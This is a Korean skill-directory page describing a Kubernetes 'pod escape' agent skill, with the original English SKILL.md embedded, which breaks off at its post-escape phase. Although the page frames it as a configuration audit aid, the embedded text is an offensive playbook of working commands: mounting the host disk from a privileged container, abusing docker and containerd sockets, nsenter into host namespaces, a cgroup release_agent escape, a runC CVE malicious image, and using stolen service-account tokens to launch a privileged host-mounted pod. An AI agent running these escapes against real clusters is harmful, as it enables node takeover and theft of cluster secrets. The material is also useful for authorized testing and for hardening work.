본문으로 건너뛰기
Skillpedia
보안6.5k · #13990

k8s-pod-escape

하는 일

이 스킬은 특권 모드, 위험한 호스트 마운트, 호스트 네임스페이스처럼 컨테이너가 Kubernetes 노드로 빠져나갈 수 있게 하는 설정을 설명합니다. 파드 구성을 검토하는 플랫폼 및 보안 팀을 위한 스킬입니다.

사용하는 경우

  • ✓플랫폼 팀이 파드가 특권으로 실행되거나 호스트 경로를 마운트하는지 확인해 달라고 에이전트에게 요청할 때.
  • ✓에이전트가 파드의 권한과 마운트를 검사해 침해가 어디까지 닿을 수 있는지 판단할 때.
  • ✓감사 보고서에 노드 위험을 줄이려면 어떤 파드 설정을 바꿔야 하는지 설명해야 하는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/container/k8s-pod-escape/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/container/k8s-pod-escape/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“허가된 테스트 클러스터의 파드 중 특권으로 실행되거나 호스트 폴더를 마운트하는 것이 있는지 확인해 주시겠어요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 각 파드의 보안 설정, 권한 목록, 볼륨 마운트를 읽고, 노드로 가는 경로를 주는 것을 표시합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Kubernetes Pod Escape to Node

You have RCE inside a pod. Goal: break out of the container to the underlying node, then pivot to the cluster.

Phase 1: Enumerate the container

# Identify how you're contained
cat /proc/self/status | grep -E '^(Cap|Seccomp|NoNewPriv)'
cat /proc/1/status | grep -i cap
mount | grep -E 'cgroup|hostpath|/var/run/docker.sock|/var/run/crio'
ls -la /dev | head -20
id
hostname

# Service-account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 60
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

# Token + APIserver — confirm you can talk to the API
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces/default/pods

Phase 2: Detect escape primitives (check each, escalate via the first that works)

2.1 Privileged container

# Privileged = full host kernel access. CapEff: 0000003fffffffff is the giveaway.
grep CapEff /proc/self/status
# 0000003fffffffff or "ALL" → you're privileged. /dev/sda1, /dev/kmsg etc are visible.
ls -la /dev/sda* /dev/nvme*

# Mount host filesystem:
mkdir /mnt/host
mount /dev/sda1 /mnt/host          # adjust device — `lsblk` to confirm
chroot /mnt/host /bin/bash
# Now you're root on the node.

2.2 hostPath mount to / or /etc or /var/run/docker.sock

# Look for suspicious mounts
mount | grep -E '/host|/node|docker.sock|/etc|/root'
# /var/lib/kubelet mounted? You can read every other pod's secrets.
ls /var/lib/kubelet/pods/*/volumes/kubernetes.io~secret/ 2>/dev/null

# /var/run/docker.sock or /run/containerd/containerd.sock mounted = node compromise
docker -H unix:///var/run/docker.sock run --rm -it --privileged -v /:/host alpine chroot /host
ctr -a /run/containerd/containerd.sock run --rm -t --privileged --mount type=bind,src=/,dst=/host,options=rbind alpine escape sh -c 'chroot /host'

2.3 hostPID + SYS_PTRACE (no privileged needed)

# hostPID lets you see all node processes
ps auxf | head
# SYS_PTRACE in CapEff lets you inject into them
grep CapEff /proc/self/status
# 0000000000080000 includes CAP_SYS_PTRACE

# Find a host-side root process and inject a shell
nsenter -t 1 -m -u -i -n -p sh
# 'nsenter -t 1' enters PID 1's namespaces — that's the host's init on a node with hostPID

2.4 CAP_SYS_ADMIN without --privileged

# Common in CI/CD runners (Docker-in-Docker patterns)
grep CapEff /proc/self/status   # 00000000a82425fb or similar with bit 21 set

# cgroup_release_agent escape (kernel < 5.8 on hosts without user-NS isolation)
mkdir /tmp/x && mount -t cgroup -o memory cgroup /tmp/x
echo 1 > /tmp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/x/release_agent
cat > /cmd <<'EOF'
#!/bin/sh
ip a > /tmp/host_ip
id > /tmp/host_id
EOF
chmod +x /cmd
sh -c "echo \$\$ > /tmp/x/cgroup.procs"
# /tmp/host_id now contains the HOST's id output

2.5 runC CVE chain (CVE-2024-21626 "Leaky Vessels")

If runC < 1.1.12 / Docker < 25.0.3 / containerd < 1.7.13: WORKDIR + symlink trickery lets a malicious image escape. Check node runC version via the kubelet API or by reading /etc/docker/version if exposed.

# Build a malicious image
cat > Dockerfile <<'EOF'
FROM scratch
WORKDIR /proc/self/fd/8
ENTRYPOINT ["/bin/sh"]
EOF
docker build -t evil .
# Then run on target node — the WORKDIR points fd 8 (an open kernel FD) → host FS access
docker run --rm -it evil

2.6 Service-account token → API server abuse

If the SA has pods/exec on a privileged pod or nodes/proxy on the node:

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# List privileged pods
curl -sk -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default.svc/api/v1/pods?fieldSelector=spec.securityContext.privileged=true

# Or: SA has `create pods` on kube-system → run a privileged pod yourself
kubectl --token="$TOKEN" --server=https://kubernetes.default.svc \
  --insecure-skip-tls-verify run pwn --image=alpine \
  --overrides='{"spec":{"hostPID":true,"hostNetwork":true,"containers":[{"name":"pwn","image":"alpine","command":["nsenter","-t","1","-m","-u","-i","-n","-p","sh"],"securityContext":{"privileged":true},"volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"name":"host","hostPath":{"path":"/"}}]}}'

Phase 3: Post-escape on node

Once you're on the node, pivot to the cluster:

``

자주 묻는 질문

특권 컨테이너는 무엇을 허용하나요?

스킬은 호스트 커널과 장치에 대한 넓은 접근을 주므로 큰 위험이라고 설명합니다.

hostPath 마운트란 무엇인가요?

노드의 폴더를 파드에 연결하는 볼륨이며, 민감한 폴더는 컨테이너 밖으로 나가는 경로를 줄 수 있습니다.

누가 이 검사를 실행해야 하나요?

클러스터를 검사할 승인을 받은 플랫폼 및 보안 팀입니다.

상세 정보

작성자의 원본 설명

Kubernetes pod escape to node — privileged container abuse, hostPath mount escape, hostPID/hostIPC, capability misuse (SYS_ADMIN, SYS_PTRACE), runC CVE chains. Pivots from RCE-in-pod to full node compromise.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#13990
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬